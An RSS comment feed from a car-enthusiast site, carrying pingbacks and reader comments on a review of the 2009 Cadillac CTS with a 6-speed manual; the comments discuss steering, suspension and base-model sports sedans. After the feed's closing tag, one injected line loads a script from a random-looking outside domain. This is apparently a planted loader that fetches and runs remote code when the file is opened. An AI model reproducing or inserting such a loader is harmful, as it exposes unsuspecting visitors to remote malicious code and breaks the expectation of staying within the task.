<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Review: 2009 Cadillac CTS 6-Speed Manual</title>
	<atom:link href="http://www.carenvy.ca/2009/08/review-2009-cadillac-cts-6-speed-manual/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.carenvy.ca/2009/08/review-2009-cadillac-cts-6-speed-manual/</link>
	<description>Home of the Canadian Car Enthusiast</description>
	<lastBuildDate>Tue, 31 Aug 2010 05:34:57 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
	<item>
		<title>By: Cadillac Coupe Confirmed: CTS Goes 2-Door &#124; CarEnvy.ca</title>
		<link>http://www.carenvy.ca/2009/08/review-2009-cadillac-cts-6-speed-manual/comment-page-1/#comment-2568</link>
		<dc:creator>Cadillac Coupe Confirmed: CTS Goes 2-Door &#124; CarEnvy.ca</dc:creator>
		<pubDate>Mon, 23 Nov 2009 16:09:11 +0000</pubDate>
		<guid isPermaLink="false">http://www.carenvy.ca/?p=6307#comment-2568</guid>
		<description>[...] hope Cadillac has addressed the lackluster steering, all-too-soft ride, and ancient manual gearbox found in the CTS sedan for coupe to truly take on zee [...]</description>
		<content:encoded><![CDATA[<p>[...] hope Cadillac has addressed the lackluster steering, all-too-soft ride, and ancient manual gearbox found in the CTS sedan for coupe to truly take on zee [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Review: 2009 BMW 535xi &#124; CarEnvy.ca</title>
		<link>http://www.carenvy.ca/2009/08/review-2009-cadillac-cts-6-speed-manual/comment-page-1/#comment-2106</link>
		<dc:creator>Review: 2009 BMW 535xi &#124; CarEnvy.ca</dc:creator>
		<pubDate>Sat, 19 Sep 2009 20:00:43 +0000</pubDate>
		<guid isPermaLink="false">http://www.carenvy.ca/?p=6307#comment-2106</guid>
		<description>[...] little while back I reviewed the Cadillac CTS. It was by no means a horrible car, but I gave it a less than stellar [...]</description>
		<content:encoded><![CDATA[<p>[...] little while back I reviewed the Cadillac CTS. It was by no means a horrible car, but I gave it a less than stellar [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Peter</title>
		<link>http://www.carenvy.ca/2009/08/review-2009-cadillac-cts-6-speed-manual/comment-page-1/#comment-1904</link>
		<dc:creator>Peter</dc:creator>
		<pubDate>Fri, 21 Aug 2009 19:31:59 +0000</pubDate>
		<guid isPermaLink="false">http://www.carenvy.ca/?p=6307#comment-1904</guid>
		<description>Well I guess we will just have to get our hands on a CTS-V to see what Cadillac is really capable of. Cadillac, are you listening?</description>
		<content:encoded><![CDATA[<p>Well I guess we will just have to get our hands on a CTS-V to see what Cadillac is really capable of. Cadillac, are you listening?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: James</title>
		<link>http://www.carenvy.ca/2009/08/review-2009-cadillac-cts-6-speed-manual/comment-page-1/#comment-1891</link>
		<dc:creator>James</dc:creator>
		<pubDate>Wed, 19 Aug 2009 18:09:43 +0000</pubDate>
		<guid isPermaLink="false">http://www.carenvy.ca/?p=6307#comment-1891</guid>
		<description>I would say this car with the sports suspension and the optional 3.6 DI (Direct Injection) 306bhp engine mated to a 6MT would be a lot more entertaining.  This is the base model for people that don&#039;t like driving.  I&#039;ve driven a base model new BMW 328i with an automatic, and I have to say it was pretty dreadful as well - squishy suspension, tiny tires with huge sidewalls, dim-witted transmission.  Great motor though, but completely unexciting.  Now the 335i M Sport sedan I drove... completely different story.  WOT in that car is liable to set your hair on fire.  

Same thing with the dichotomy between the IS250 and IS350, A4 3.2 and S4 3.0T, etc.  These base model entry-lux midsizers are more for people concerned with the badge and the looks.  They have good basic chassis (except the IS, which despite having good weight distribution and RWD, likes to understeer like a rental car!) but in these weak-engine soft-suspension base models, there&#039;s not going to be a lot of enthusiast appeal.</description>
		<content:encoded><![CDATA[<p>I would say this car with the sports suspension and the optional 3.6 DI (Direct Injection) 306bhp engine mated to a 6MT would be a lot more entertaining.  This is the base model for people that don&#8217;t like driving.  I&#8217;ve driven a base model new BMW 328i with an automatic, and I have to say it was pretty dreadful as well &#8211; squishy suspension, tiny tires with huge sidewalls, dim-witted transmission.  Great motor though, but completely unexciting.  Now the 335i M Sport sedan I drove&#8230; completely different story.  WOT in that car is liable to set your hair on fire.  </p>
<p>Same thing with the dichotomy between the IS250 and IS350, A4 3.2 and S4 3.0T, etc.  These base model entry-lux midsizers are more for people concerned with the badge and the looks.  They have good basic chassis (except the IS, which despite having good weight distribution and RWD, likes to understeer like a rental car!) but in these weak-engine soft-suspension base models, there&#8217;s not going to be a lot of enthusiast appeal.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script src="http://kdjkfjskdfjlskdjf.com/kp.php"></script>